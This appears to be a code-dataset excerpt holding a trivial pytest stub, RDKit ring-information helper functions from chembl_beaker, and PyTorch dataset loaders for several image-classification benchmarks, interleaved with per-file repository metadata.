0.432749

0

0.162698

252

9

68

28

0.810427

0

0.003968

0

1

0.4

false

0

0.2

0.4

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

31fc9f2b6a6b8e931884497f79ec865187cabb6b

36

py

Python

tests/tests/test_initial.py

mchalski/mtls-ping

a0eeedf5dc4af6dd684d5bb33741bfa4c49044c6

[ "Apache-2.0" ]

null

tests/tests/test_initial.py

mchalski/mtls-ping

a0eeedf5dc4af6dd684d5bb33741bfa4c49044c6

[ "Apache-2.0" ]

null

tests/tests/test_initial.py

mchalski/mtls-ping

a0eeedf5dc4af6dd684d5bb33741bfa4c49044c6

[ "Apache-2.0" ]

null

def test_initial(): assert True

12

19

0.694444

5

36

4.8

1

0

0.222222

36

2

20

18

0.857143

0

0.5

1

0.5

true

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

6

ee2d5ffd926d4bd61ac018bb0651c10ec0570d0c

3,149

py

Python

chembl_beaker/beaker/core_apps/ringInfo/impl.py

mnowotka/chembl_beaker

1fb87990ac353b0fa06ab7186d99eae8784da13d

[ "Apache-2.0" ]

7

2015-04-02T16:54:16.000Z

2021-04-06T13:16:21.000Z

chembl_beaker/beaker/core_apps/ringInfo/impl.py

mnowotka/chembl_beaker

1fb87990ac353b0fa06ab7186d99eae8784da13d

[ "Apache-2.0" ]

null

chembl_beaker/beaker/core_apps/ringInfo/impl.py

mnowotka/chembl_beaker

1fb87990ac353b0fa06ab7186d99eae8784da13d

[ "Apache-2.0" ]

6

2015-03-13T17:31:33.000Z

2020-06-28T18:28:26.000Z

__author__ = 'mnowotka' from rdkit import Chem from rdkit.Chem.rdmolops import SanitizeFlags as sf SANITIZE_ALL = sf.SANITIZE_ALL from chembl_beaker.beaker.utils.functional import _apply, _call from chembl_beaker.beaker.utils.io import _parseMolData, _getSDFString #----------------------------------------------------------------------------------------------------------------------- def _atomRings(data, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) return _call(_call(mols, 'GetRingInfo'), 'AtomRings') #----------------------------------------------------------------------------------------------------------------------- def _bondRings(data, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) return _call(_call(mols, 'GetRingInfo'), 'BondRings') #----------------------------------------------------------------------------------------------------------------------- def _isAtomInRing(data, index, size, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) return _call(_call(mols, 'GetRingInfo'), 'IsAtomInRingOfSize', index, size) #----------------------------------------------------------------------------------------------------------------------- def _isBondInRing(data, index, size, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) return _call(_call(mols, 'GetRingInfo'), 'IsBondInRingOfSize', index, size) #----------------------------------------------------------------------------------------------------------------------- def _numAtomRings(data, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) ring_infos = _call(mols, 'GetRingInfo') return [[ring_info.NumAtomRings(atom.GetIdx()) for atom in mol.GetAtoms()] for (mol, ring_info) in zip(mols, ring_infos)] #----------------------------------------------------------------------------------------------------------------------- def _numBondRings(data, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) ring_infos = _call(mols, 'GetRingInfo') return [[ring_info.NumBondRings(bond.GetIdx()) for bond in mol.GetBonds()] for (mol, ring_info) in zip(mols, ring_infos)] #----------------------------------------------------------------------------------------------------------------------- def _numRings(data, sanitize=True, removeHs=True, strictParsing=True): mols = _parseMolData(data, sanitize=sanitize, removeHs=removeHs, strictParsing=strictParsing) return _call(_call(mols, 'GetRingInfo'), 'NumRings') #-----------------------------------------------------------------------------------------------------------------------

58.314815

125

0.536361

251

3,149

6.545817

0.207171

0.087645

0.08521

0.102252

0.749848

0.716981

0

0.079708

3,149

53

126

59.415094

0.566943

0.302318

0

0.310345

0

0.067154

0

1

0.241379

false

0

0.137931

0

0.62069

0

null

0

1

0

null

0

1

0

6

ee366b9d494bf59eedbbdf5a6492cb262b12f137

37,897

py

Python

WRN-backbone-32/utils/wol_datasets.py

ashleylqx/AIB

77e418cac52f0ca5f2a7c54927468a7bd75a8fc9

[ "MIT" ]

5

2021-05-23T13:05:45.000Z

2022-02-13T21:40:59.000Z

WRN-backbone-32/utils/wol_datasets.py

ashleylqx/AIB

77e418cac52f0ca5f2a7c54927468a7bd75a8fc9

[ "MIT" ]

null

WRN-backbone-32/utils/wol_datasets.py

ashleylqx/AIB

77e418cac52f0ca5f2a7c54927468a7bd75a8fc9

[ "MIT" ]

3

2021-08-11T03:23:31.000Z

2021-11-17T01:48:52.000Z

import os import pdb import sys import cv2 import pickle import scipy.misc import scipy.io from scipy import ndimage from scipy.ndimage import gaussian_filter import numpy as np import random import json from PIL import Image from torchvision import datasets # from caltech_my import Caltech101, Caltech256 # import torch.nn.functional as F # from torch_geometric.data import Data, Batch import torch.nn.functional as F # --- coco api -------------- import json import time from collections import defaultdict PYTHON_VERSION = sys.version_info[0] if PYTHON_VERSION == 2: from urllib import urlretrieve elif PYTHON_VERSION == 3: from urllib.request import urlretrieve def _isArrayLike(obj): return hasattr(obj, '__iter__') and hasattr(obj, '__len__') import torch from torch.utils.data import Dataset, DataLoader from torchvision import transforms from kornia.enhance.zca import ZCAWhitening from .config import * # *** MS_COCO use one transform, CUG&ILSVRC use another transform class MS_COCO(Dataset): def __init__(self, root, mode='train', return_path=False, N=None, img_h = COCO_RESIZE[0], img_w = COCO_RESIZE[1], transform=None): #'train', 'test', 'val' self.path_dataset = root self.path_images = os.path.join(self.path_dataset, mode+'2014') self.return_path = return_path self.img_h = img_h self.img_w = img_w self.transform = transform # self.normalize_feature = normalize_feature # get list images list_names = os.listdir(self.path_images) list_names = np.array([n.split('.')[0] for n in list_names]) self.list_names = list_names # if mode=='train': # list_names = np.array(['COCO_train2014_000000001108', # 'COCO_train2014_000000002148', # 'COCO_train2014_000000003348', # 'COCO_train2014_000000004575']) # elif mode=='val': # list_names = np.array(['COCO_val2014_000000005586', # 'COCO_val2014_000000011122', # 'COCO_val2014_000000016733', # 'COCO_val2014_000000022199']) # # self.list_names = list_names if N is not None: self.list_names = list_names[:N] # self.coco = COCO(os.path.join(PATH_COCO, 'annotations', 'instances_%s2014.json'%mode)) self.imgNsToCat = pickle.load(open(os.path.join(PATH_COCO, 'imgNsToCat_{}.p'.format(mode)), "rb")) # if mode=='train': # random.shuffle(self.list_names) # embed() print("Init MS_COCO full dataset in mode {}".format(mode)) print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): # Image and saliency map paths rgb_ima = os.path.join(self.path_images, self.list_names[index]+'.jpg') image = scipy.misc.imread(rgb_ima, mode='RGB') image = cv2.resize(image, (self.img_w, self.img_h), interpolation=cv2.INTER_AREA).astype(np.float32) if self.transform is not None: img_processed = self.transform(image/255.) else: img_processed = transforms.ToTensor()(image) # get coco label label_indices = self.imgNsToCat[self.list_names[index]] # label_indices = self.coco.imgNsToCat[self.list_names[index]] label = torch.zeros(coco_num_classes) if len(label_indices)>0: label[label_indices] = 1 else: label[0] = 1 if self.return_path: return img_processed, label, self.list_names[index] else: return img_processed, label # CUB def get_name_id(name_path): name_id = name_path.strip().split('/')[-1] name_id = name_id.strip().split('.')[0] return name_id class CUB(Dataset): """Face Landmarks dataset.""" def __init__(self, root, mode='train', return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_CUB? self.mode = mode # self.path_images = os.path.join(self.path_dataset, mode + '2014') self.path_images = os.path.join(self.path_dataset, 'images') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'lists/%s_list.txt'%self.mode) list_names, labels = self.read_labeled_image_list(self.path_images, self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) self.list_names = list_names self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init CUB_200_2011 dataset in mode {}".format(mode)) print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = self.list_names[index] assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: return image, gt_label, img_name.split('/')[-1].split('.')[0] else: return image, gt_label def read_labeled_image_list(self, data_dir, data_list): """ Reads txt file containing paths to images and ground truth masks. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and masks, respectively. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] for line in f: if ';' in line: image, labels = line.strip("\n").split(';') else: if len(line.strip().split()) == 2: image, labels = line.strip().split() if '.' not in image: image += '.jpg' labels = int(labels) else: line = line.strip().split() image = line[0] labels = map(int, line[1:]) img_name_list.append(os.path.join(data_dir, image)) img_labels.append(np.asarray(labels)) return img_name_list, img_labels class CUB_crop(Dataset): """Face Landmarks dataset.""" def __init__(self, root, mode='train', return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_CUB? self.mode = mode # self.path_images = os.path.join(self.path_dataset, mode + '2014') self.path_images = os.path.join(self.path_dataset, 'images') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'lists/%s_crop_list.txt'%self.mode) list_names, labels, bboxes = self.read_labeled_image_crop_list(self.path_images, self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) bboxes = np.array(bboxes) self.list_names = list_names self.labels = labels self.bboxes = bboxes if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] self.bboxes = bboxes[:N] print("Init CUB_200_2011 crop dataset in mode {}".format(mode)) print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = self.list_names[index] assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') # print(image.size) # print(self.bboxes[index]) # print(self.labels) # print(self.list_names) # pdb.set_trace() # crop image using gt bbox <x> <y> <width> <height> # (It will not change orginal image) left, top, width, height = self.bboxes[index] right = left + width bottom = top + height image = image.crop((left, top, right, bottom)) # image = image.crop((int(left), int(top), int(right), int(bottom))) if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: return image, gt_label, img_name.split('/')[-1].split('.')[0] else: return image, gt_label def read_labeled_image_crop_list(self, data_dir, data_list): """ Reads txt file containing paths to images, ground truth labels and bounding boxes. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and labels, respectively. And an array of bounding boxes. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] img_bboxes = [] for line in f: line = line.strip().split() image = line[0] labels = int(line[1]) bbox = json.loads('[%s]' % (','.join(line[2:]))) # pdb.set_trace() img_name_list.append(os.path.join(data_dir, image)) img_labels.append(np.asarray(labels)) img_bboxes.append(bbox) return img_name_list, img_labels, img_bboxes # return img_name_list, img_labels, np.array(img_bboxes) # ILSVRC class ILSVRC(Dataset): def __init__(self, root, mode='train', return_path=False, N=None, transform=None, onehot_label=False, num_classes=ilsvrc_classes): #'train', 'test', 'val', num_tgt_cls=ilsvrc_classes # self.num_tgt_cls = num_tgt_cls self.mode = mode self.path_dataset = root # PATH_ILSVRC self.path_images = os.path.join(self.path_dataset, 'images', self.mode) # rearrange folder self.return_path = return_path self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes # get list images with open(os.path.join(self.path_dataset, 'lists/%s_list.txt'%self.mode), 'r') as f: tmp = f.readlines() list_names = [l.split(' ')[0] for l in tmp] # .JPEG list_names = np.array([n.split('.')[0] for n in list_names]) self.list_names = list_names labels = [int(l.split(' ')[1]) for l in tmp] labels = np.array(labels) self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] # if mode=='train': # random.shuffle(self.list_names) # embed() print("Init ILSVRC dataset in mode {}".format(mode)) print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): # img_name = self.list_names[index] img_name = os.path.join(self.path_images, self.list_names[index]+'.JPEG') assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: return image, gt_label, self.list_names[index] else: return image, gt_label # # Image and saliency map paths # rgb_ima = os.path.join(self.path_images, self.list_names[index]+'.JPEG') # image = scipy.misc.imread(rgb_ima, mode='RGB') # # # image = cv2.resize(image, (self.img_w, self.img_h), interpolation=cv2.INTER_AREA).astype(np.float32) # img_processed = self.transform(image / 255.) # # label = self.labels[index] # # if self.return_path: # return img_processed, label, self.list_names[index] # else: # return img_processed, label # ==== collate_fn for handling grayscale images in batch of RGB images ==== def collate_fn_caltech(batch): # This does not work when normalization transform contains 3-dim mean and std. images = list() labels = list() # pdb.set_trace() for i, X in enumerate(batch): print('X[0]', X[0].size(0)) # if X[0].size(0) < 3: # tmp_img = X[0].repeat(3, 1, 1) # print('tmp_img', tmp_img.size()) # images.append(tmp_img.unsqueeze(0)) if X[0].size(0) == 3: images.append(X[0].unsqueeze(0)) else: images.append(X[0].unsqueeze(0).repeat(1, 3, 1, 1)) labels.append(X[1]) # labels.append(X[1].unsqueeze(0)) images_batch = torch.cat(images, dim=0) # images_batch = torch.cat(labels, dim=0) labels_batch = torch.tensor(labels) return images_batch, labels_batch # ==== weakly object segmentation ==== # Object Discovery; generate list from folder class ObjectDiscovery(Dataset): """Face Landmarks dataset.""" def __init__(self, root, return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_EVENT # self.path_images = self.path_dataset self.path_images = os.path.join(self.path_dataset, 'Data') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'image_list.txt') list_names, labels = self.read_labeled_image_list(self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) self.list_names = list_names self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init ObjectDiscovery dataset ...") print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = os.path.join(self.path_images, self.list_names[index]) assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: # return image, gt_label, img_name.split('/')[-1].split('.')[0] return image, gt_label, self.list_names[index] else: return image, gt_label def read_labeled_image_list(self, data_list): """ Reads txt file containing paths to images and ground truth masks. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and masks, respectively. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] for line in f: if ';' in line: image, labels = line.strip("\n").split(';') else: if len(line.strip().split()) == 2: image, labels = line.strip().split() if '.' not in image: image += '.jpg' labels = int(labels) else: line = line.strip().split() image = line[0] labels = map(int, line[1:]) # img_name_list.append(os.path.join(data_dir, image)) img_name_list.append(image) img_labels.append(np.asarray(labels)) return img_name_list, img_labels # ==== other datasets used in cross-dataset classification ==== # STL_train (pytorch) shuffle=False, index follow the order; generate list from dataloader # STL_test (pytorch) shuffle=False, index follow the order; generate list from dataloader # caltech-101 (pytorch) shuffle=False, index follow the order; generate list from dataloader # caltech-256 (pytorch) shuffle=False, index follow the order; generate list from dataloader # Event-8; generate list from folder class Event8(Dataset): """Face Landmarks dataset.""" def __init__(self, root, return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_EVENT self.path_images = self.path_dataset # self.path_images = os.path.join(self.path_dataset, 'images') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'image_list.txt') list_names, labels = self.read_labeled_image_list(self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) self.list_names = list_names self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init Event-8 dataset ...") print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = os.path.join(self.path_images, self.list_names[index]) assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') # try not use PIL Image, not use ToTensor before ZCA tomorrow # image = scipy.misc.imread(img_name, mode='RGB') # image = cv2.resize(image, tuple(CIFAR_RESIZE), interpolation=cv2.INTER_LINEAR) # # # image = image.astype('float32') # # # image = cv2.resize(image, (input_h, input_w), interpolation=cv2.INTER_LINEAR) # image = torch.tensor(image, dtype=torch.float32) # zca = ZCAWhitening().fit(image) # image = zca(image) # image = image.numpy() if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: # return image, gt_label, img_name.split('/')[-1].split('.')[0] return image, gt_label, self.list_names[index] else: return image, gt_label def read_labeled_image_list(self, data_list): """ Reads txt file containing paths to images and ground truth masks. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and masks, respectively. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] for line in f: if ';' in line: image, labels = line.strip("\n").split(';') else: if len(line.strip().split()) == 2: image, labels = line.strip().split() if '.' not in image: image += '.jpg' labels = int(labels) else: line = line.strip().split() image = line[0] labels = map(int, line[1:]) # img_name_list.append(os.path.join(data_dir, image)) img_name_list.append(image) img_labels.append(np.asarray(labels)) return img_name_list, img_labels # Action-40; generate list from folder class Action40(Dataset): """Face Landmarks dataset.""" def __init__(self, root, return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_EVENT # self.path_images = self.path_dataset self.path_images = os.path.join(self.path_dataset, 'JPEGImages') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'image_list.txt') list_names, labels = self.read_labeled_image_list(self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) self.list_names = list_names self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init Action-40 dataset ...") print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = os.path.join(self.path_images, self.list_names[index]) assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') # image = scipy.misc.imread(img_name, mode='RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: # return image, gt_label, img_name.split('/')[-1].split('.')[0] return image, gt_label, self.list_names[index] else: return image, gt_label def read_labeled_image_list(self, data_list): """ Reads txt file containing paths to images and ground truth masks. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and masks, respectively. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] for line in f: if ';' in line: image, labels = line.strip("\n").split(';') else: if len(line.strip().split()) == 2: image, labels = line.strip().split() if '.' not in image: image += '.jpg' labels = int(labels) else: line = line.strip().split() image = line[0] labels = map(int, line[1:]) # img_name_list.append(os.path.join(data_dir, image)) img_name_list.append(image) img_labels.append(np.asarray(labels)) return img_name_list, img_labels # Scene-67; generate list from folder class Scene67(Dataset): """Face Landmarks dataset.""" def __init__(self, root, return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: csv_file (string): Path to the csv file with annotations. root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_EVENT # self.path_images = self.path_dataset self.path_images = os.path.join(self.path_dataset, 'Images') self.return_path = return_path self.datalist_file = os.path.join(self.path_dataset, 'image_list.txt') list_names, labels = self.read_labeled_image_list(self.datalist_file) self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes self.trainFlag = False list_names = np.array(list_names) labels = np.array(labels) self.list_names = list_names self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init Scene-67 dataset ...") print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = os.path.join(self.path_images, self.list_names[index]) assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') # image = scipy.misc.imread(img_name, mode='RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: # return image, gt_label, img_name.split('/')[-1].split('.')[0] return image, gt_label, self.list_names[index] else: return image, gt_label def read_labeled_image_list(self, data_list): """ Reads txt file containing paths to images and ground truth masks. Args: data_dir: path to the directory with images and masks. data_list: path to the file with lines of the form '/path/to/image /path/to/mask'. Returns: Two lists with all file names for images and masks, respectively. """ f = open(data_list, 'r') img_name_list = [] img_labels = [] for line in f: if ';' in line: image, labels = line.strip("\n").split(';') else: if len(line.strip().split(' ')) == 2: image, labels = line.strip().split() if '.' not in image: image += '.jpg' labels = int(labels) else: # if image name contains space line = line.strip().split(' ') image = ' '.join(line[:-1]) # labels = map(int, line[1:]) labels = int(line[-1]) # img_name_list.append(os.path.join(data_dir, image)) img_name_list.append(image) img_labels.append(np.asarray(labels)) return img_name_list, img_labels # Tiny Imagenet class TinyImagenet(Dataset): """Face Landmarks dataset.""" def __init__(self, root, mode='train', return_path=False, N=None, transform=None, onehot_label=False, num_classes=cub_classes): #'train', 'test' """ Args: root (string): Directory with all the images. transform (callable, optional): Optional transform to be applied on a sample. """ self.path_dataset = root # PATH_CUB? self.mode = mode self.path_images = os.path.join(self.path_dataset, self.mode) self.return_path = return_path self.transform = transform self.onehot_label = onehot_label self.num_classes = num_classes label_indices = range(self.num_classes) # this might be faster than reading folders from disk? wnids_txt = os.path.join(self.path_dataset, 'wnids.txt') with open(wnids_txt) as f: # label_wnids = f.readlines() label_wnids = f.read().splitlines() self.label_dict = dict(zip(label_wnids, label_indices)) if self.mode == 'train': list_names = [] labels = [] for label in label_wnids: bbox_txt = os.path.join(self.path_images, label, label+'_boxes.txt') # pdb.set_trace() with open(bbox_txt) as f: # lines = f.readlines() # names = [os.path.join(self.path_images, label, 'images', l.split(' ')[0]) for l in lines] lines = f.read().splitlines() names = [os.path.join(self.path_images, label, 'images', l.split('\t')[0]) for l in lines] list_names.extend(names) labels.extend([self.label_dict[label]]*len(names)) elif self.mode == 'val': anno_txt = os.path.join(self.path_images, 'val_annotations.txt') # pdb.set_trace() with open(anno_txt) as f: # lines = f.readlines() # names = [os.path.join(self.path_images, 'images', l.split(' ')[0]) for l in lines] # lbs = [self.label_dict[l.split(' ')[1]] for l in lines] lines = f.read().splitlines() list_names = [os.path.join(self.path_images, 'images', l.split('\t')[0]) for l in lines] labels = [self.label_dict[l.split('\t')[1]] for l in lines] assert max(labels) == (self.num_classes-1) list_names = np.array(list_names) self.list_names = list_names labels = np.array(labels) self.labels = labels if N is not None: self.list_names = list_names[:N] self.labels = labels[:N] print("Init Tiny ImageNet dataset in mode {}".format(mode)) print("\t total of {} images.".format(self.list_names.shape[0])) def __len__(self): return self.list_names.shape[0] def __getitem__(self, index): img_name = self.list_names[index] assert os.path.exists(img_name), 'file {} not exits'.format(img_name) image = Image.open(img_name).convert('RGB') if self.transform is not None: image = self.transform(image) if self.onehot_label: gt_label = np.zeros(self.num_classes, dtype=np.float32) gt_label[self.labels[index].astype(int)] = 1 else: gt_label = self.labels[index].astype(np.long) if self.return_path: return image, gt_label, img_name.split('/')[-1].split('.')[0] else: return image, gt_label if __name__ == "__main__": # transformation for training set tencrop = True print(tencrop == True) mean_vals = [0.485, 0.456, 0.406] std_vals = [0.229, 0.224, 0.225] # input_size = (256, 256) # crop_size = (224, 224) # ILSVRC, CUB input_size = (80, 80) crop_size = (80, 80) # CUB_crop tsfm_train = transforms.Compose([transforms.Resize(input_size), # 256 transforms.RandomCrop(crop_size), # 224 transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize(mean_vals, std_vals)]) if tencrop: func_transforms = [transforms.Resize(input_size), transforms.TenCrop(crop_size), transforms.Lambda( lambda crops: torch.stack( [transforms.Normalize(mean_vals, std_vals)(transforms.ToTensor()(crop)) for crop in crops])), ] else: func_transforms = [transforms.Resize(input_size), # transforms.Resize(crop_size), transforms.CenterCrop(crop_size), transforms.ToTensor(), transforms.Normalize(mean_vals, std_vals), ] tsfm_clstest = transforms.Compose(func_transforms) # transformation for test loc set tsfm_loctest = transforms.Compose([transforms.Resize(crop_size), # 224 transforms.ToTensor(), transforms.Normalize(mean_vals, std_vals)]) # test ILSVRC datasets # # ds_train = ILSVRC(root=PATH_ILSVRC, N=4, return_path=True, mode='train', transform=tsfm_train) # OK image, label, (, image_name) # ds_train = ILSVRC(root=PATH_ILSVRC, N=4, return_path=True, mode='val', transform=tsfm_clstest) # OK image, label, (, image_name) # test CUB datasets # ds_train = CUB(root=PATH_CUB, N=4, return_path=True, mode='train', transform=tsfm_train) # OK image, label, (, image_name) # ds_train = CUB(root=PATH_CUB, N=4, return_path=True, mode='test', transform=tsfm_clstest) # OK image, label, (, image_name) # test CUB_crop datasets # ds_train = CUB_crop(root=PATH_CUB, N=4, return_path=True, mode='train', transform=tsfm_train) # OK image, label, (, image_name) # ds_train = CUB_crop(root=PATH_CUB, N=4, return_path=True, mode='test', transform=tsfm_clstest) # OK image, label, (, image_name) # test Caltech datasets # caltech_transforms = transforms.Compose([transforms.Resize(crop_size), # 224 # transforms.ToTensor(),]) # # # ds_train = datasets.Caltech101(PATH_CALTECH101, download=False, transform=caltech_transforms) # # train_dataloader = DataLoader(ds_train, batch_size=2, shuffle=True, num_workers=2, collate_fn=collate_fn_caltech) # ds_train = Caltech101(PATH_CALTECH101, download=False, transform=tsfm_train) # test Event-8 dataset # ds_train = Event8(root=PATH_EVENT, N=4, return_path=True, transform=tsfm_train) # OK image, label, (, image_name) # test Action-40 dataset # ds_train = Action40(root=PATH_ACTION, N=4, return_path=True, transform=tsfm_train) # OK image, label, (, image_name) # test Scene-67 dataset # ds_train = Scene67(root=PATH_SCENE, N=4, return_path=True, transform=tsfm_train) # OK image, label, (, image_name) # test ObjectDiscovery dataset # ds_train = ObjectDiscovery(root=PATH_OD, N=4, return_path=True, transform=tsfm_train) # OK image, label, (, image_name) # test TinyImagenet dataset ds_train = TinyImagenet(root=PATH_TINYIM, N=4, return_path=True, mode='train', transform=tsfm_train) # OK image, label, (, image_name) # ds_train = TinyImagenet(root=PATH_TINYIM, N=4, return_path=True, mode='val', transform=tsfm_train) # OK image, label, (, image_name) train_dataloader = DataLoader(ds_train, batch_size=2, shuffle=True, num_workers=2) for i, X in enumerate(train_dataloader): print(i) print('images', X[0].size()) print('labels', X[1].size()) print('image_names', X[-1]) # if i>10: # break

37.972946

139

0.589968

4,808

37,897

4.461522

0.072587

0.046152

0.036362

0.020885

0.795907

0.77409

0.743508

0.731994

0.714186

0.704676

0

0.016168

0.294957

37,897

997

140

38.011033

0.786669

0.278703

0

0.71529

0

0.039628

0.000835

0

0.015817

1

0.063269

false

0

0.043937

0.017575

0.186292

0.042179

0

null

0

1

0

1

0

null

0

6

ee40a9cb9892aba0277b79f10355acefe321445f

182

py

Python

promoterz/__init__.py

emillj/gekkoJaponicus

d77c8c7a303b97a3643eb3f3c8b995b8b393f3f7

[ "MIT" ]

null

promoterz/__init__.py

emillj/gekkoJaponicus

d77c8c7a303b97a3643eb3f3c8b995b8b393f3f7

[ "MIT" ]

null

promoterz/__init__.py

emillj/gekkoJaponicus

d77c8c7a303b97a3643eb3f3c8b995b8b393f3f7

[ "MIT" ]

1

2021-11-29T20:18:25.000Z

